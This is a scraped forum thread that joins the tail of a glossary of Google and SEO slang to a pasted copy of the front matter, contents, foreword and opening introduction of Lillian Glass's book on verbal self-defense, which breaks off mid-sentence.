content. The content is indexed and later appears in Google search
results.
Googlebowling A rumored black-hat methodology to hurt a
competitor’s website through a link campaign.
Googledance Noticeable updates to the structure of the Google
result rankings. (Some major “Google updates” are even given names,
like “Google Florida.”)
Googlefight Putting two search queries against each other to see
which one returns the highest page count on the Google results page.
Googlejuice The popularity that makes a web page appear high in
Google search results. For example, “to give someone Googlejuice”
can mean to link to someone (because a link to another page increases
its value in the eyes of Google). A site which has “a lot of
Googlejuice” is usually a web page with a high PageRank.
Googleplex The Mountain View headquarters of Google Inc.
Googler An employee of Google Inc. (a Noogler on the other hand is
a new Google employee, and a Xoogler is an Ex-Google employee).
Googlewhack Finding only a single result using two words from the
dictionary.
Googlosophy The science of all things Google.
Googol A 1 followed by 100 zeroes. The Google founders often
quote this word as origin of how they came up with the word
“Google.”
IP Often a shorthand for Internet Protocol address, meaning the uniquely
identifiable number your computer has when you’re online.
Meme On the web, this refers to an idea that quickly spreads from
one site to another, virus-like.
Meta search A search engine which itself uses other search engines
to determine its results.
55 Ways to Have Fun With Google
228
Onebox result For certain searches, Google displays an info-box
above the actual organic search results. This box may display more
direct information (like the answer to a question), or a link to related
services (like Google News).
Operator A syntax command to trigger specific Google search
functionality. For example, the site operator (as in
“site:searchenginewatch.com/blog”) allows you to restrict your search to a
single domain.
Page count The Google page count is an approximate number telling
the searcher on how many web pages the terms in the query appear.
For example, searching for “the” returns over 18 billion pages at this
time (Google only allows you to see the first 1,000 results for any
single search, though).
PageRank The general “value” of a website in the eyes of Google. In
a nut-shell, the value is derived from analysis of how many pages link
to a certain page (and also, how many pages link to the pages that link
to a certain page!). Usually, the higher the PageRank, the more likely
this page appears on top of search results often. This value ranges
from 0-10, with 10 being the best (and most rare) of values. New
websites will always start out with a “PR” of 0. You can check a page’s
PageRank by installing the Google Toolbar for your browser.
Phrase search When you put quotes around your Google search
query, Google only finds exact (or almost exact) matches.
RSS Really Simple Syndication (and other meanings), a feed format
allowing you to subscribe to a blog or other regularly updated online
content.
SEO Search Engine Optimization; the art (sometimes: dark art) of
bringing websites on top of search engine results. An SEO contest is a
competition to bring your own site on top of search engines – usually
Google – for a specific search. There are black-hat and white-hat SEO
strategies (the black-hat strategies can result in a website being
“Googleaxed,” also known as the Google Death Penalty, a full ban
within the Google search results).
Stop words Traditionally, words like “the” or “a” which search
engines ignore (Google doesn’t have these stop words anymore).
Weblog �� See blog[/FONT]



toggletoggle post by W3 nli at Mar 25,2008 3:50pm
these are all great....

but




toggletoggle post by Mucko  at Mar 25,2008 4:07pm

Page i
Verbal Self-Defense
by Lillian Glass, Ph.D.
A Division of Macmillan General Reference
A Pearson Education Macmillan Company
1633 Broadway, New York, NY 10019



Page ii
Copyright© 1999 Lillian Glass, Ph.D.
All rights reserved. No part of this book shall be reproduced, stored in a retrieval system, or transmitted by any
means, electronic, mechanical, photocopying, recording, or otherwise, without written permission from the
publisher. No patent liability is assumed with respect to the use of the information contained herein. Although
every precaution has been taken in the preparation of this book, the publisher and author assume no
responsibility for errors or omissions. Neither is any liability assumed for damages resulting from the use of
information contained herein. For information, address Alpha Books, 1633 Broadway, 7th Floor, New York,
NY 10019-6785.
THE COMPLETE IDIOT'S GUIDE name and design are trademarks of Macmillan, Inc.
Macmillan Publishing books may be purchased for business or sales promotional use. For information please
write: Special Markets Department, Macmillan Publishing USA, 1633 Broadway, New York, NY 10019.
International Standard Book Number: 0-02-862741-5
Library of Congress Catalog Card Number: 99-64466
01 00 99 8 7 6 5 4 3 2 1
Interpretation of the printing code: the rightmost number of the first series of numbers is the year of the book's
printing; the rightmost number of the second series of numbers is the number of the book's printing. For
example, a printing code of 99-1 shows that the first printing occurred in 1999.
Printed in the United States of America
Note: This publication contains the opinions and ideas of its author. It is intended to provide helpful and
informative material on the subject matter covered. It is sold with the understanding that the author and
publisher are not engaged in rendering professional services in the book. If the reader requires personal
assistance or advice, a competent professional should be consulted.
The authors and publisher specifically disclaim any responsibility for any liability, loss or risk, personal or
otherwise, which is incurred as a consequence, directly or indirectly, of the use and application of any of the
contents of this book.
Page iii
Alpha Development Team
Publisher
Kathy Nebenhaus
Editorial Director
Gary M. Krebs
Managing Editor
Bob Shuman
Marketing Brand Manager
Felice Primeau
Acquisitions Editor
Jessica Faust
Development Editors
Phil Kitchel
Amy Zavatto
Assistant Editor
Georgette Blau
Production Team
Development Editor
Jessica Faust
Production Editor
Robyn Burnett
Copy Editor
Erik Dafforn
Cover Designer
Mike Freeland
Photo Editor
Richard H. Fox
Illustrator
Kevin Spear
Book Designer
Scott Cook and Amy Adams of Design Lab
Indexer
Tim Wright
Layout/Proofreading
Angela Calvert
Ellen Considine

Page iv
CONTENTS AT A GLANCE
Part 1:
Identifying the Verbally Venomous Opponent
1
1
Identifying the Verbally Venomous Opponent
Observe the person from head to toe in a way you never have before. Listen
between the lines to what they are really saying through their facial and
body language and the sound of their voice.
3
2
Knowing When You've Been Verbally Zapped
Translate what is meant by seemingly innocent statements that are really
verbal barbs. Take the quiz to see if you've been exposed to verbal abuse.
19
3
Verbal Abusers Are Losers
Find out the inner workings of different types of verbal abusers,
categorized according to the severity of their abusive behavior.
33
4
Verbal Murder—How and Why?
Learn some of the conscious and unconscious reasons for and the
consequences of being verbally murdered.
47
Part 2:
Preparing to Verbally Defend Yourself
59
5
Analyzing Your Strengths and Weaknesses
Learn ways to objectively examine how you come across to others—
everything from the way you walk to the way you talk.
61
6
Gaining the Physical Edge
Learn techniques for enhancing your image. These will create a more
powerful perception of you in others and instill more self-confidence in you.
79
7
Gaining the Verbal Advantage
How you sound when you speak cannot be overlooked if you want to win
the verbal war. Learn strategies for enhancing the way you speak.
91
8
Communication Skill Defense
Just as it is important to sound good in verbal warfare, it is important to
105
say the right thing. Learn the basics of communication that will make
others more receptive towards you.
9
Confident Conversation
Learn to develop the charisma to attract people, keep them interested, and
interact with them in the future.
117
Page v
Part 3:
Verbal Defense Strategies to Use in Combat
129
10
Verbal Defense Strategies
Memorize the verbal self-defense strategies so you can easily call upon a
particular strategy in any circumstance. If one doesn't work, you have
numerous others from which to choose.
131
11
Letting Them Know They've Overstepped Their Verbal Boundaries
Now there is no excuse for being victimized or traumatized by an opponent
who intrudes on your territory. You have a bag full of strategies to ward
them off.
139
12
When More Powerful Weaponry Is Needed
You can accomplish more with your mouth than with your fists. It's okay to
get angry, but the consequences of physical violence are too high.
151
13
Enough Is Enough! Knowing When to Retreat
Learn how to quickly determine when the verbal battle is finally over.
Whether you won or lost, you still need to recoup and regroup. This chapter
shows you how to do both.
161
Part 4:
Verbal Warfare with Specific People in Your Life
173
14
Gaining the Winning Verbal Edge Between the Sexes
Learn the basics of male and female communication. This will help you
avoid many common pitfalls responsible for verbal warfare between
couples.
175
15
Blood Is Not Always Thicker Than Water!
Learn how to converse with various family members to understand their
perspectives; if they're just too toxic, learn to get out and save yourself.
191
16
Verbal Warfare with Specific People in Your Life
Master the words to use for specific kinds of abusers, so that you will never
again be a victim.
203
Part 5:
Verbal Combat Against Verbal Abusers
215
17
Verbal Combat Against Annoying Verbal Abusers
The 13 types of annoying vermin won't hurt you, just drive you insane. Here
are remedies for them.
217
18
Verbal Combat Against Painful Verbal Abusers
These eight types of disgusting and obnoxious verbal vermin can literally
make you sick. Learn to combat them so that you won't vomit.
229
Page vi
19
Verbal Combat Against Dangerous Verbal Abusers
These 11 types of dangerous verbal vermin can inflict emotional, mental,
and physical harm upon you. Here are strategies available to help you
protect yourself.
239
Part 6:
Dodging Verbal Bullets in Specific Battlefields
253
20
Verbal Defense over the Telephone
Learn what to say over the telephone to rude and unhelpful people, pests,
and those who have bad telephone habits.
255
21
Verbal Self-Defense in Sticky Situations
What to say in real-life situations nobody talks about. Topics range from
telling someone they have body odor to getting a cheapskate to cough up
the money for a bill.
267
22
Verbal Self-Defense in More Difficult Situations
How to deal with situations that are even more difficult, because they
involve people such as those who are dying or grieving over someone else's
death, and those who lie.
281
23
Verbal Self-Defense Can Save Your Life!
How to thwart a potential criminal act by knowing what to say and how to
say it. You will also learn how to broach the subject of safe sex.
293
24
Verbally Defending YOU Against YOU!
What you say about yourself says it all! People who speak well about
themselves encourage others to do the same. Be discriminating about what
you say about yourself and others.
307
A Resources 319
B To Order Dr. Glass's Products 323
Index 325
Page vii
CONTENTS
Part 1:
Identifying the Verbally Venomous Opponent
1
1
Identifying the Verbally Venomous Opponent
3
Stop, Look, and Listen—Sizing Up Your Opponent 3
20/20 Hindsight 4
Freeze and Focus 5
Reading Between the Lines 5
Telltale Eyes 7
Here's Looking (or Not Looking) at You, Kid! 8
Face Off 9
Telltale Mouth 10
Body Talk 11
Keep Your Distance! 11
Stand Up! 12
Armed with Arms and Hands 12
Hand-to-Hand Combat 13
Listening Between the Lines 13
Telling Tones 14
Squeaking or Leaking? 14
Tones Ready to Verbally Attack You 15
The Mouse That Roars 15
“Tha tha that's all, folks!” 15
Where's the Foghorn? 16
Thylvesther the Cat Thaid What? 16
Slow Down, I Can't Keep Up! 17
Aren't You Done Yet? 17
The Rain in Spain Lies Mainly in the Plain 17
2
Knowing When You've Been Verbally Zapped
19
What Are They Really Saying to You? 19
You Were Not “Only Kidding” 20
What's the Matter? Cat Got Your Tongue? 21
If He Says He's a Jerk, Believe Him 22
Beware, You're Next! 22
They Don't Really Mean That! 23
Warning! You've Been Exposed to a Verbal Health Hazard 23
Verbal Abuse—the Silent Killer 24
Quiz to Determine Exposure to Verbal Abuse 25
What Do Your Answers Mean? 26
Page viii
Ouch, It Hurts! The Physical Pain of Verbal Abuse 27
Head Games Lead to Heart Pains 28
Shrinking Verbal Abuse—Psychological Pain 29
3
Verbal Abusers Are Losers
33
Categorizing the Verbal Abuser 33
Level One Abusers 34
The “I'm Only Kidding” Person 34
The “Shock 'Em and Rock 'Em” Person 34
The Sarcastic/Sadistic Person 35
The Verbal Hammers Person 35
“My Dog's Bigger Than Your Dog” People 36
The Trashers 36
People Who Throw Back Your Confidences 37
The Sugary Fawner 38
Backhanded Complimentors 39
The Self-Consumed 39
Level Two Abusers 40
Interrogators 40
Gossiping, Meddling Instigators 41
Condescending Dismissers 41
Sneaky Underminers 41
“I Love You—I Hate You” People 42
“You're No Good!” People 43
Yellers, Screamers, and Ragers 43
Verbal Nazis—My Way or Else! 43
Guilt-Producing Accusers 44
Liars 44
Verbal Icicles 45
4
Verbal Murder—How and Why?
47
What Is Verbal Murder? 47
Who Are Verbal Murderers? 47
Identifying the Verbal Abusers in Your Life 48
When Do Verbal Abusers Turn into Verbal Murderers? 49
Why Does Verbal Murder Happen? 50
Unconscious Reasons for Verbal Murder 50
Hey! Don't Take It Out on Me! 50
Hey! We're Not All Like That! 50
I'm Not That Toxic Person in Your Past! 51
Green with Envy! 51
I Really Don't Deserve to Be That Happy! 52
I Don't Trust Anybody—Including You! 52
Page ix
Conscious Reasons for Verbal Murder 53
They Just Plain Can't Stand You! 53
They Know You Really Don't Like Them 53
What's the Use? 53
Gimme the Reins—I Need to Control You! 53
You're Incompetent! 54
I Just Don't Believe in You! 54
I Don't Want You to Be Ahead of Me! 55
Who Said You Can Be That Happy and Lucky? 56
They Did It to Me—Now It's Your Turn! 56
Consequences of Being a Verbal Murderer 57
Consequences of Being Verbally Murdered 57
Part 2:
Preparing to Verbally Defend Yourself
59
5
Analyzing Your Strengths and Weaknesses
61
How Others See You Does Matter! 61
How Do You Come Across to Others? 62
The General Consensus About You Is 63
Putting Others to the Test 63
Equipment You Need to Objectively Examine Yourself 65
Mirror, Mirror on the Wall 65
No Lies on Videotape 66
Record a Call 66
A Picture Says a Thousand Words 67
Getting Emotionally Naked 67
Stand Up and Walk the Walk! 68
The Stance of Power 68
The Walk of Authority 70
I Have to Hand It to You 71
Dead Head? 71
About Face! 72
Eye Deal 73
Is Your Mouth Goin' South? 73
Air Born 74
Ouch! My Ears Hurt Listening to You! 74
Pitching Your Voice 75
It's Quality We're After! 75
Twisting Your Tongue 76
Pump Up the Volume! Drown the Sound! 76
How Fast Were You Going? 76
The Nose Knows 76
Are You Talking to Me? 76
Page x
6
Gaining the Physical Edge
79
Postural Defense—Staking Out Your Presence 80
1. Stand Up Straight, Without a Leg Up! 80
2. Bottoms Up! 81
3. Straighten Up and Back Up! 81
4. Heads Up! 81
Walk Up! 81
Sit Up! 82
Uptight? Lighten Up! 82
Up in Arms! 83
Hands Up! 83
Shake Up! 84
Touch Up! 85
Face Up! 86
Charming, Disarming Smile 87
Kissin' Up! 87
Slipping Up or Messing Up? It All Adds Up and You End Up…! 88
7
Gaining the Verbal Advantage
91
Defensive Breathing 92
Relaxation Breathing: In—Hold—Out Control! 93
Mind-Clearing Breaths 94
Listening Through Breathing 94
Marrying Your Breathing with Your Talking 95
Vocal Defense 95
Your Most Overlooked Organ—Your Voice Box 95
Speak—Don't Squeak! 97
Yawning—Opening Up the Throat for a Smooth Voice 97
I Can't Hear You! 98
Stop Turning Me Off! 98
Stop Putting Me to Sleep with Your Boring Voice! 99
Whining No More 100
The Stuffed-Up Nose 100
Tasting Your Sounds 101
Kicking Key Consonants 101
Vowel Control 102
Demolishing Disgusting Habits 102
Say It—Don't Spray It! 102
Swallow Already! 102
Slow Down! It's Not the Grand Prix 103
Quiet! My Ears Can't Take It! 103
Spit It Out Already! 103
Hints to Help Control Your Stuttering 104
Page xi
8
Communication Skill Defense
105
Who in the World Are You? 105
“Who Are You?” Quiz 106
The Results of Who You Are 109
Keys to Gaining the Upper Hand 109
You Gotta Like You! 109
Don't Like Something About Yourself? Change It! 109
Talk Nice to You and Others Will Too 110
Cancel That! 110
The Power of the Word—What a Surprise! 111
Thoughts in Your Head 111
Open Your Mind! 111
Open Your Heart! 112
Tactics Used to Promote Verbal Peace with Others 112
Speak Up Immediately! 112
Monitor Your Mouth 113
Pay Attention to Trigger Words and Phrases 113
Terms of Endearment 114
Let Them Speak Their Piece 114
Enough About You Already! 115
Mind Your Own Business! 115
Respect Should Be Your Mantra 115
Don't Like the Answer? Then Don't Ask the Question 116
9
Confident Conversation
117
The Real Secret of Talking to Anyone 117
Understanding the Four Steps of Confident Conversation 118
Confident Pre-Conversation 118
Ending the “I Think That You Think That I Think” Game
Forever!
118
Smile All the While 119
Do It Anyway! 119
You Die When You're Shy! 120
Only a Fool Plays It Cool! 120
Initiating a Confident Conversation 121
Maintaining a Confident Conversation 121
Ask, Ask, and Keep Asking! 122
Elaborate—Don't Interrogate! 122
Getting Deeper and Deeper 123
What Shall We Talk About? 123
Know What You're Talking About! 125
Bingo! You Got the Lingo! 125
Talking Ethnic 126
Page xii
It's Over—I Wanna Go Now 127
Don't Be a Liar—Follow Up Immediately! 128
Never Say You'll Call If You Don't Mean It! 128
Part 3:
Verbal Defense Strategies to Use in Combat
129
10
Verbal Defense Strategies
131
Entering the Verbal Combat Zone 131
A Verbal Weakling No More! 132
Verbally Pumping Up 132
Imaginary Conversation Strategy 132
Through the Looking Glass 133
Knowing When to Attack Back 134
What Your Answers Mean 134
Keep Your Eyes and Ears Open at All Times 136
Make a Choice and Make It Now 136
Picking Your Strategy 137
The Verbal Artist Has Complete Control! 137
11
Letting Them Know They've Overstepped Their Verbal Boundaries
139
Silent, Expressionless, Blank Stare 139
The Look of Disgust Strategy 141
Let It Go—Breathe and Blow Strategy 142
Calm, Calculating, Questioning Strategy—Like Columbo 143
The Naked Truth Strategy 144
“The Joke's on You”—Funny Bone Strategy 145
Love 'Em Up Strategy 146
Gentle-Toned Name Repetition 146
Hush Hush Strategy 147
Let the Baby Have Her Bottle Strategy 147
Hand-Holding Fighting Strategy 147
Heart-in-Hand Strategy 148
“What's Good About You” Strategy 148
12
When More Powerful Weaponry Is Needed
151
Never Walk Away When You Have Something to Say! 151
Protecting the Other Cheek 152
Don't Just Stand There—Do Something! 152
Verbally Setting Firm Limits 153
“This Is Unacceptable!” 154
“Excuse Me? Are You Talkin' to Me?” 155
Page xiii
Strategy of Loud Verbal Explosions! 155
Fight Clean and Fair! 155
Keep It Above the Belt 156
Never, Ever Use Physical Violence! 156
Fantasy Strategy—an Alternative to Physical Violence 157
Never Threaten One's Basic Needs! 157
Keep Your Cool 158
Verbally Mirroring the Foe Strategy 158
“Give 'Em Hell and Yell” Strategy 160
13
Enough Is Enough! Knowing When to Retreat
161
Three Strikes and You're Out! 162
Yes, But 162
I Say “Yes,” You Say “No” 163
You Finally Got the Message! 165
Noooooo! Don't Do It! 165
Help!!! Emergency!!! 166
Throwaways 166
No Stalkers or Fatal Attractions Allowed! 168
Mourning and Waking Up Renewed in the Morning 168
When You're on the Verbal Merry-Go-Round 169
Forgiving Yourself Right Now! 169
Make Yourself Feel Reeeeal Good! 169
Part 4:
Verbal Warfare with Specific People in Your Life
173
14
Gaining the Winning Verbal Edge Between the Sexes
175
What's the Real Deal? 176
Learning to Be Bilingual 176
Once Upon a Time There Was an Infant Boy and Girl 177
There's Only One Brain! 177
What Shall We Talk About? 178
He Says—She Thinks! She Says—He Thinks! 178
No-No Scenario 1 179
No-No Scenario 2 179
No-No Scenario 3 180
No-No Scenario 4 180
No-No Scenario 5 180
He Says—He Means! She Says—She Means! 181
Scenario 1 Shoulda Said 181
Scenario 2 Shoulda Said 181
Scenario 3 Shoulda Said 182
Scenario 4 Shoulda Said 182
Scenario 5 Shoulda Said 182
Page xiv
Oh! So That's What You Meant! 183
Basic Male 101 183
Basic Female 101 185
See What I Mean? 186
What Men Need to Do 187
What Women Need to Do 187
Saving You a Lot of Grief! 188
15
Blood Is Not Always Thicker Than Water!
191
Defense Against Verbally Abusive Parents 191
Long-Lasting Effects 192
Your Best Bet! 192
Defense Against Verbally Abusive Siblings 193
Too Close for Comfort 193
Your Best Bet! 194
Verbal Defense with Teens 194
Trash Talkin' Teens 195
Expect to Hear This from Your Teen 196
Verbal Defense with School-Aged Kids 197
Best Bet: Set Limits Immediately! 197
Parental Verbal Control 197
Best Bets: Ask Your Child If She Wants to Go Somewhere with
You
198
Verbal Defense with Pre-Schoolers 198
Verbal Defense in Utero 198
Verbal Defense with Infants and Toddlers 199
Terrible Twos Are Verbally Terrific! 199
Talking to Children Who Act Out Verbally 200
Your Best Bet: Children of This Age Crave Respect 200
Cursing Kids 201
16
Verbal Warfare with Specific People in Your Life
203
Verbal Self-Defense Techniques for Various Groups 203
Invasive Strangers 204
“Friends” 204
Enemies 205
Customer Service Representatives 205
People Entrusted with Yourself or Your Property 206
Salespeople, Store Clerks, and Realtors 207
People Who Serve You 208
People Who Don't Speak Your Language 211
Professionals and Authority Figures 212
Verbally Toxic Employers 212
Verbal Medical and Dental Disasters 213
Page xv
Part 5:
Verbal Combat Against Verbal Abusers
215
17
Verbal Combat Against Annoying Verbal Abusers
217
Mumble Jumble 217
Sonic Boomers! 218
Meek, Weak, and Squeak 219
Baby-Voiced and Cutsie-Wootsie 219
Where to Direct a Person with an Annoying Voice 221
The Monotonous Drone 222
The Fast Talker 223
Name-Dropper 223
The Know-It-All 224
SlangGangers 225
Conversation Hogs 226
Repeat, Repeating, Repeaters 226
Wordy Ones 227
The Whiner 227
18
Verbal Combat Against Painful Verbal Abusers
229
Verbal Abuse Can Actually Make You Nauseous! 229
The Verbally Dead 230
Verbal Vomiters 231
Sugary Sweet Phonies 232
Poor-Poor Me 233
“Fibbers” 234
*%#&@ Cussers! 234
Me, Me, Me 235
The Anointed One Has Spoken! 236
19
Verbal Combat Against Dangerous Verbal Abusers
239
PROCEED WITH EXTREME CAUTION! 239
Lambs to Lions 240
Control Freaks 240
Backstabbing Enviers 241
Hitting-Below-the-Belt Abusers 242
Verbal Interrogators 243
Fanatics and Zealots 244
Yes-Yes Do-Nothings 245
The Mentally/Verbally Disturbed 247
Racist, Sexist, Verbal Xenophobes 248
Verbal Lumberjacks 249
Nosybodies 250
Page xvi
Part 6:
Dodging Verbal Bullets in Specific Battlefields
253
20
Verbal Defense over the Telephone
255
Pesky Persistent Telephone Sales Calls 256
Slick Willy 257
Unhelpful Helpers 257
Go Ahead—Blame It on the Phone! 258
Oh No! I Need Some New Eardrums! 259
Huh? Huh? Huh? Huh? 259
What in the World Did They Say? 259
Help! I'm Gonna Drown in a Sea of Words! 259
I Gotta Go, I Gotta Go, I Gotta Go, I Gotta Go! 260
I Got Your Machine! You Sound Silly! 261
Time to Change the Message 261
Making a Great Message 262
Phone Munching 262
Choose—Them or Me? 263
A Return Call Would Be Nice! 264
Stop Calling Already! 264
21
Verbal Self-Defense in Sticky Situations
267
I'm So Humiliated! 268
Ouch! Those Coals Are Hot! 268
It's Not So Funny When It's Me! 268
Burning Brunts of Jokes 269
You Don't Like Me! You Really Don't Like Me! 270
When Someone Says Something Mean or Sarcastic to You 272
Oh No! Tell Me This Is Just a Bad Dream! 272
Please, I Beg You, Please Don't Tell Them That! 273
There Are No Representatives in This House of Speakers! 273
Hey! Butt Out! 274
You're Really Nice After All! 274
You Said What About Me? 274
Keep Your Opinions to Yourself! 275
Are You Mute or Something? 275
Stop Kvetching Already! 276
Speaking in Different Languages 276
What Am I, a Bank? 277
What Part of the Word “No” Don't You Understand? 277
Tactfully Telling Someone About Body Odor 277
Someone Who Never Gets the Bill 278
Page xvii
22
Verbal Self-Defense in More Difficult Situations
281
Breaking the Bad News 281
You're Not the Only One! 282
Talking to the Grieving 283
Dying with Love! 283
Gotcha! 284
Liar, Liar, Pants on Fire! I'll Never Admit I'm a Liar! 285
Sweet Talkin' “Ear Candy” 285
Sexually and Racially Incorrect 286
Come On! Just a Little Bite! 287
Enough About My Weight Already! 287
That's My Friend You're Talking About! 287
You Don't Know What You're Talking About! 288
Talking to Those with Speaking Challenges 288
Talking to Those with Hearing Challenges 289
Talking to the Physically Challenged 289
Talking to the Mentally Ill 289
No—Not You! 290
I Admit It! I Did It! 290
Don't Judge a Book by Its Cover! 291
23
Verbal Self-Defense Can Save Your Life!
293
Listen for Verbal Red Flags! 294
What You Hear Is Not Always What You Get! 294
Listening Between the Lines 295
Put a Lid on It! 295
I Wouldn't Mouth Off If I Were You! 296
Your Speech Is a Loaded Gun 296
Topics That, When Mentioned in Anger, Can Declare Verbal
War
297
Road Rage! Theater Rage! Outrage! 297
SHHHHHHHHHHHHH! 298
I SAID NO TALKIN'!! 298
Reason Before You Start Teasin' 299
Tones Can Kill 299
You're OK, I'm OK. OK, You're OK 300
Non-Words Can Kill 300
Your Mouth Can Save Your Life 301
Verbal Kicks, Vocal Chops, Tonal Blocks 301
Be Nice! 301
To Catch a Thief! 302
Rape 302
Date Rape 303
Page xviii
Sex Talk—Before It Gets Too Hot to Handle! 303
Wear a What? 304
24
Verbally Defending YOU Against YOU!
307
What Did You Say? That's What They Think! 308
Verbalize! No Complaints! Fix What You Hate! 308
Never Let the “Cat Get Your Tongue” 309
Quashing Your Negative Words About You 310
Observe What You Say to Potential Verbal Spies! 310
Loose Lips Sink Ships! 310
Losing the Verbal War by Trashing Your Family! 311
Winning by Letting It Leak! 312
Losing the Verbal Battle by Recycling the Word 312
Verbal Defeat Through Verbal Ecstasy—Why Tellin' All Feels Soooo
Good!
313
Don't Blame! Extinguish the Flame! 314
Making Amends Verbally 314
No More Verbal Hypocrisy—a Clean Battlefield 315
Winning the War Through Verbal Gifts! 316
Appendixes
A Resources 319
References for Speech Pathologists 319
B To Order Dr Glass's Products 323
References for Psychological Services 323
Index 325
Page xix
FOREWORD
In the beginning was the WORD. The rest, is as they say, history …
Words have had magic power ever since human beings used language to liberate themselves from the
constraints of physical reality. Every other life form adapts to the world as it is. Only human beings JUST SAY
NO! to reality. Only human beings use words to envision the world as we'd like it to be, and then transform it
accordingly. Words are magic symbols by which our dreams become reality.
Words are also the vehicles by which we exchange our thoughts and feelings with others, and in so doing
become aware of ourselves (conscious = to know with). The self is literally an ongoing stream of words
(psychologists have a variety of terms for this notion; e.g., “stream of consciousness,” “inner newsreel,”
“autobiographical narrative”). So it should not surprise us then, that words are central to the integrity of the
self. When someone puts in a good word about us, or for us, the self is fortified in proportion to the magnitude
of the praise and the importance (in our minds at least) of the mouth from which the good words emerged.
Prestige is thus the accumulated good words of others; and the primary meaning of prestige is “enchantment”
and “illusion.” I told you words are magic power!
But words, like any power, can, and often are, used destructively. We fight wars with words, and over words.
And whoever said “sticks and stones can break my bones, but names can never harm me” obviously didn't
grow up in my neighborhood in the Bronx in the 1950s, or for that matter, anywhere on earth since the dawn of
human history. A bad word from the medicine man of many “primitive” peoples is sufficient to kill a person in
a few days. We're a bit more subtle in contemporary western civilization, where daily verbal assaults serve to
constantly diminish us and condemn us to a slower (but nevertheless ultimately very similar) death. We
(observed Martin Luther King, Jr.) “see ominous clouds of inferiority beginning to form in” our “little mental”
skies; we become de-moralized and disillusioned: “at a loss for words” precisely when we each need words
most urgently to protect our most valuable psychological asset—our self.
All of us have been in situations where words have very much harmed us. All of us have been in situations
where the right words, spoken in the right way, at the right time, would have protected us from an especially
vicious verbal assault. Words have failed us all at times (“words fail me”), and that's why we all need to read
this book.
—SHELDON SOLOMON, PH.D., PROFESSOR OF PSYCHOLOGY AT SKIDMORE
COLLEGE
SHELDON SOLOMON, PH.D., HAS BEEN PROFESSOR OF PSYCHOLOGY AT
SKIDMORE COLLEGE SINCE 1980. HE WAS RECENTLY HONORED BY HIS FACULTY
COLLEAGUES AS THE 1998 EDWIN MOSLEY LECTURER. AS AN EXPERIMENTAL
SOCIAL PSYCHOLOGIST, HIS INTERESTS INCLUDE THE NATURE OF SELF
CONSCIOUSNESS AND SOCIAL PSYCHOLOGY. HIS WORK EXPLORING THE
EFFECTS OF THE FEAR OF DEATH ON ALL ASPECTS OF INDIVIDUAL AND SOCIAL
BEHAVIOR HAS BEEN SUPPORTED BY THE NATIONAL SCIENCE FOUNDATION
AND REPORTED IN THE NEW YORK TIMES, THE HERALD TRIBUNE, THE BOSTON
GLOBE, PSYCHOLOGY TODAY, AND SELF MAGAZINE. HE IS CO-AUTHOR OF THE
FORTHCOMING BOOK SELF-ESTEEM & MEANING (APA BOOKS, 2000).
Page xx
INTRODUCTION.
Every time you flick on your TV and channel surf, you can't seem to escape seeing one of these self-appointed
motivational gurus telling you how you can have a fantastic, phenomenal, heavenly life simply by achieving
one or more of the following goals:
Locate your lost powers so that you can have your own zillion-dollar company, tropical island, a closet full of
Armani, a limo, yacht, jet, and mansions in every state. Otherwise you're a LOSER! Make marathon love with
your partner so that he or she will be faithful! (Who would even have the energy to cheat, let alone walk, after a
night of continuous orgasms?) Lose that disgusting fat! Get off your butt and exercise! Confused about which
of the zillion exercise machines to buy? Make it easy on yourself. Get them all! The same goes for that
“miracle weight loss” food, drink, pill, or diet. Try them all, but stick with the one that makes you puke less.
Get hair! Nobody looks good without hair! It doesn't matter if it comes in a can and you spray it on—just get
some damn hair! And your skin—UGH! Get rid of those repulsive blackheads, whiteheads, and pus heads! If
you don't hurry up and use that lotion, you may end up being someone's weight-loss program, because they
won't be able to keep any food down if they look at you.
Even though you may be chuckling at these scenarios, the unfortunate truth is that these commercials and other
outside influences in the media unfairly affect the way we see who is pretty, who has a nice body, who is
socially acceptable, and who is a winner! Heaven forbid you fall short of the “rules for acceptability.” You are
then relegated to the position of social leper. The strange thing is that we have all been social lepers at one
point in our lives, and we continue to remain social lepers in the eyes of others. Maybe it's a lot of people or
maybe it's just a few people. If we weren't perceived so negatively and with such hostility, why would others,
even perfect strangers, go out of their way to come up to us just to give us verbal hell?
Even if you have all of the things mentioned in the scenario above—which, by our societies standards make
you a “success”—you can still be a social leper. Even if you are a zillionare who's fit, without a zit, and even
has hair, some people still won't like you. Who knows why? They just won't. And because they won't, they will
try to make your life hell. They will give you dirty looks and try to undermine you, negate you, and say awful
things to you.
How do I know this? I know it firsthand from the thousands of people I have seen in my private practices
throughout the years who have been devastated by some unkindness or vulgarity someone has said to them. I
have received letters and calls from thousands of people around the world who have responded to my book
Toxic People—10 Ways to Handle People Who Make Your Life Miserable. They have shared with me their
devastation at the horrible things others have said to them. These letters and calls touch me deeply. They bring
tears to my eyes as I feel for those who wrote and called.
Page xxi
What You'll Learn in This Book
No matter how much light we make of it, this is a very serious problem. Harsh words do hurt. Mean statements
do sting. Insensitive comments do devastate. Prolonged emotional pain due to constant verbal harassment can
physically maim and even kill. We often carry negative things people have said to us to our graves. Thus,
words can cause us a lifetime of pain, anguish, and agony.
This book however, was not designed to teach you how to start fights or wars! Instead, its goal is to teach you
how to defend yourself against those who start verbal fights with you. It will help you recognize who the verbal
enemy is and what strategies would work best to defeat them. As you learn the strategies available to you in
your attempts to deflect the verbal attacks, you will develop a newfound sense of self-confidence.
It's time to find a solution! It's time to fight back! It's time to relinquish the pain! It's time to never let anyone
put their mean words or verbal poison on you again! It's time to never be a verbal victim again!
How This Book Is Organized
The chapters in this book fall into six different parts, which take you through the process of how to effectively
defend yourself from the verbal dragons of the world.
Part 1, “Identifying the Verbally Venomous Opponent,” shows you how to size up your verbally offensive
opponent. You will learn the telltale emotional and physical signs of being verbally zapped. It's essential to
know exactly what type of person is verbally zapping you. These verbal abusers fall into one of two categories,
depending upon the severity of their verbal abuse. I will tell you the characteristics of each of these different
types of verbal abusers and how to immediately spot their abuse before it's too late. Knowing this can save you
from any emotional and physical torture you could possibly expect from this individual in the future. Finally,
you will receive some insight as to some of the underlying psychological reasons someone becomes a verbal
abuser and the disastrous long-term consequences of allowing verbal abuse to continue.
Before you can begin to fight your offensive opponent, you need to prepare yourself thoroughly for battle. You
need to have all of the necessary equipment available to you. In Part 2, “Preparing to Verbally Defend
Yourself,” you will learn everything you need to know about doing so. It is not enough that your equipment
and weaponry is in functioning order. It has to be in tip-top shape. If it isn't, you must do whatever you can to
make sure that it gets in that condition. This section will show you all of the ways to have the most polished
equipment, so that it is far superior to and outshines your opponent's.
In Part 3, “Verbal Defense Strategies to Use in Combat,” I give you all of the strategies you can use in order to
